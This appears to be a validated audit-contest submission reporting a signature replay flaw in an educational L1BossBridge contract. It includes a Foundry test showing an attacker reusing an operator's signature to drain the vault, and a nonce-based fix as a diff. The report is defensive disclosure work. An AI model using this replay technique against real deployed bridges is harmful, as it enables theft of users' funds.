Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

The signature can be reused again and again to withdraw as much as possible tokens and potentially drain all the funds from Vault.

Summary

  • The L1BossBridge::sendToL1 can be called with the same signatures again and again until all funds are drained from the Vault. As there is no updation on-chain when one withdraws the amount using the signature and it is not tracked whether the signature being used was used earlier or not, as a result of which it can be used multiple times.

  • Also the parameters in the signature are not sufficient to track whether the signature being used is fresh or already used.

Vulnerability Details

When one deposits token on L2 to bridge them on L1, the bridge operator approves it by signing a withdrawal message but the usage of signature is not tracked, thus it can be used multiple times to withdraw the tokens on L1 again and again, and potentially drain all the funds via the L1BossBridge::sendToL1 function.

PoC

Actors:

  • Attacker: One who deposits token on L2 to bridge on L1 and use the same signature to withdraw multiple times and drain all the funds.

  • User: One who deposits on L1 and wants to bridge on L2.

  • Protocol: The L1BossBridge which handles all the token deposits and withdrawal.

  • Vault: The vault used to hold the deposited funds.

function test_SignatureCanBeReusedAndAllFundsCanBeWithdrawn() public {
uint256 depositAmount = 10e18; // user deposits 10 tokens. This amount gets transferred to L1 vault
address attacker = makeAddr("attacker"); // address of attacker
uint256 attackerDepositedAmountOnL2 = 5e18; // let attacker deposited 5 tokens on L2 for bridging on L1
uint256 attackerWithdrawalAmount = attackerDepositedAmountOnL2;
vm.startPrank(user);
// the user deposits token on L1 to get them on L2
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
vm.stopPrank();
assertEq(token.balanceOf(address(vault)), depositAmount);
uint256 attackerInitBalance = token.balanceOf(attacker);
// Assuming that attacker deposited token amount equivalent to 'attackerDepositedAmountOnL2' on L2
// And wants to withdraw on L1
// Bridge operator signs the required message to perform txn to withdraw
bytes memory tokenWithdrawalMessage = _getTokenWithdrawalMessage(attacker, attackerWithdrawalAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(tokenWithdrawalMessage, operator.key);
vm.startPrank(attacker);
// Attacker withdraws using the signature of operator who approved for withdrawal
tokenBridge.withdrawTokensToL1(attacker, attackerWithdrawalAmount, v, r, s);
// attacker again reuses the same signature to withdraw
tokenBridge.withdrawTokensToL1(attacker, attackerWithdrawalAmount, v, r, s);
vm.stopPrank();
uint256 attackerFinalBalance = token.balanceOf(attacker);
// attacker was able to withdraw more amount by re-using the same signature
assertEq(attackerFinalBalance, attackerInitBalance + (attackerWithdrawalAmount * 2));
assertEq(token.balanceOf(address(vault)), 0);
}

Impact

High. All funds can be drained out of the Vault by re-using the same signature.

Likelihood

High. One is only required to call the L1BossBridge::withdrawTokensToL1 to re-use the same signatures again and again, and potentially withdraw all the funds.

Tools Used

Manual Review, Foundry Test

Recommendations

Use a nonce in the withdrawal message which is signed by the bridge operator.
This way each signature can be uniquely identified and can be tracked via mapping(uint256 nonce => bool) isUsed

diff --git a/src/L1BossBridge.sol b/src/L1BossBridge.sol
index 3925b86..04f0204 100644
--- a/src/L1BossBridge.sol
+++ b/src/L1BossBridge.sol
@@ -32,10 +32,12 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
IERC20 public immutable token;
L1Vault public immutable vault;
mapping(address account => bool isSigner) public signers;
+ mapping(uint256 nonce => bool) public isSignatureUsed;
error L1BossBridge__DepositLimitReached();
error L1BossBridge__Unauthorized();
error L1BossBridge__CallFailed();
+ error L1BossBridge__SignatureAlreadyUsed();
event Deposit(address from, address to, uint256 amount);
@@ -88,7 +90,7 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
* @param r The r value of the signature
* @param s The s value of the signature
*/
- function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ function withdrawTokensToL1(address to, uint256 amount, uint256 nonce, uint8 v, bytes32 r, bytes32 s) external {
sendToL1(
v,
r,
@@ -96,6 +98,7 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
abi.encode(
address(token),
0, // value
+ nonce,
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
)
);
@@ -116,7 +119,13 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
revert L1BossBridge__Unauthorized();
}
- (address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
+ (address target, uint256 value, uint256 nonce, bytes memory data) = abi.decode(message, (address, uint256, uint256, bytes));
+
+ if (isSignatureUsed[nonce]) {
+ revert L1BossBridge__SignatureAlreadyUsed();
+ }
+
+ isSignatureUsed[nonce] = true;
(bool success,) = target.call{ value: value }(data);
if (!success) {
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.